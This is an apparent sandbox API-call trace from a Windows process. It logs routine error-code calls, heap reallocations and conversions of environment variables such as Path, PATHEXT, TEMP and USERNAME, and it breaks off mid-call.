SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x31a8fc8) returned 0x38 [0041.847] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x31a8fc8, Size=0x3c) returned 0x3042dd8 [0041.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0041.847] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x69) returned 0x302ff70 [0041.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x302ff70, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x3042dd8) returned 0x3c [0041.849] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x3042dd8, Size=0x40) returned 0x3042e20 [0041.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0041.849] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3e) returned 0x3042dd8 [0041.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3042dd8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.849] SetLastError (dwErrCode=0x0) [0041.849] GetLastError () returned 0x0 [0041.850] SetLastError (dwErrCode=0x0) [0041.850] GetLastError () returned 0x0 [0041.850] SetLastError (dwErrCode=0x0) [0041.850] GetLastError () returned 0x0 [0041.850] SetLastError (dwErrCode=0x0) [0041.850] GetLastError () returned 0x0 [0041.850] SetLastError (dwErrCode=0x0) [0041.850] GetLastError () returned 0x0 [0041.850] SetLastError (dwErrCode=0x0) [0041.850] GetLastError () returned 0x0 [0041.850] SetLastError (dwErrCode=0x0) [0041.850] GetLastError () returned 0x0 [0041.850] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x3042e20) returned 0x40 [0041.850] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x3042e20, Size=0x44) returned 0x319ddd8 [0041.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.850] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1b) returned 0x31aa9d0 [0041.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x31aa9d0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0041.850] GetLastError () returned 0x0 [0041.850] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x319ddd8) returned 0x44 [0041.850] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x319ddd8, Size=0x48) returned 0x319de28 [0041.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0041.850] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1d) returned 0x31aa9a8 [0041.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x31aa9a8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0041.850] GetLastError () returned 0x0 [0041.850] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x319de28) returned 0x48 [0041.850] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x319de28, Size=0x4c) returned 0x2fe4ac8 [0041.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0041.850] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x319de28 [0041.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x319de28, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0041.850] GetLastError () returned 0x0 [0041.850] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2fe4ac8) returned 0x4c [0041.850] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2fe4ac8, Size=0x50) returned 0x2fe4bd0 [0041.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.851] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x12) returned 0x3194120 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x3194120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0041.851] GetLastError () returned 0x0 [0041.851] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2fe4bd0) returned 0x50 [0041.851] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2fe4bd0, Size=0x54) returned 0x304b2a0 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.851] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x18) returned 0x3194100 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x3194100, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0041.851] GetLastError () returned 0x0 [0041.851] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x304b2a0) returned 0x54 [0041.851] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x304b2a0, Size=0x58) returned 0x304b300 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.851] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1b) returned 0x31aa9f8 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x31aa9f8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0041.851] GetLastError () returned 0x0 [0041.851] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x304b300) returned 0x58 [0041.851] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x304b300, Size=0x5c) returned 0x2fbc170 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.851] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x319bef8 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x319bef8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0041.851] GetLastError () returned 0x0 [0041.851] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2fbc170) returned 0x5c [0041.851] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2fbc170, Size=0x60) returned 0x2fbc240 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.851] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x29) returned 0x302f3f8 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x302f3f8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0041.851] GetLastError () returned 0x0 [0041.851] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2fbc240) returned 0x60 [0041.851] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2fbc240, Size=0x64) returned 0x2faeed8 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.851] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1e) returned 0x31aaa20 [0041.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x31aaa20, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0041.851] GetLastError () returned 0x0 [0041.851] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2faeed8) returned 0x64 [0041.851] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2faeed8, Size=0x68) returned 0x2faefb8 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0041.852] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x41) returned 0x319ddd8 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x319ddd8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0041.852] GetLastError () returned 0x0 [0041.852] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2faefb8) returned 0x68 [0041.852] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2faefb8, Size=0x6c) returned 0x3030150 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.852] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x17) returned 0x3194140 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x3194140, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0041.852] GetLastError () returned 0x0 [0041.852] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x3030150) returned 0x6c [0041.852] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x3030150, Size=0x70) returned 0x30301c8 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.852] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xf) returned 0x3043940 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x3043940, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0041.852] GetLastError () returned 0x0 [0041.852] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x30301c8) returned 0x70 [0041.852] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x30301c8, Size=0x74) returned 0x36ae00 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.852] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x16) returned 0x3194160 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3194160, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0041.852] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x36ae00) returned 0x74 [0041.852] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x36ae00, Size=0x78) returned 0x36ae80 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0041.852] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2a) returned 0x302f468 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x302f468, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0041.852] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x36ae80) returned 0x78 [0041.852] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x36ae80, Size=0x7c) returned 0x351ba0 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.852] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x29) returned 0x302f4a0 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x302f4a0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0041.852] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x351ba0) returned 0x7c [0041.852] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x351ba0, Size=0x80) returned 0x3526c8 [0041.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0041.853] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x15) returned 0x3194180 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3194180, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0041.853] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x3526c8) returned 0x80 [0041.853] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x3526c8, Size=0x84) returned 0x36f910 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.853] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1e) returned 0x31aaa48 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x31aaa48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0041.853] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x36f910) returned 0x84 [0041.853] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x36f910, Size=0x88) returned 0x36fd00 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0041.853] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2a) returned 0x302f4d8 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x302f4d8, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0041.853] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x36fd00) returned 0x88 [0041.853] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x36fd00, Size=0x8c) returned 0x2f7e7f0 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.853] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x12) returned 0x31941a0 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x31941a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0041.853] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2f7e7f0) returned 0x8c [0041.853] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2f7e7f0, Size=0x90) returned 0x2f7e7f0 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.853] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x18) returned 0x31941c0 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x31941c0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0041.853] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2f7e7f0) returned 0x90 [0041.853] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2f7e7f0, Size=0x94) returned 0x2f5b088 [0041.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 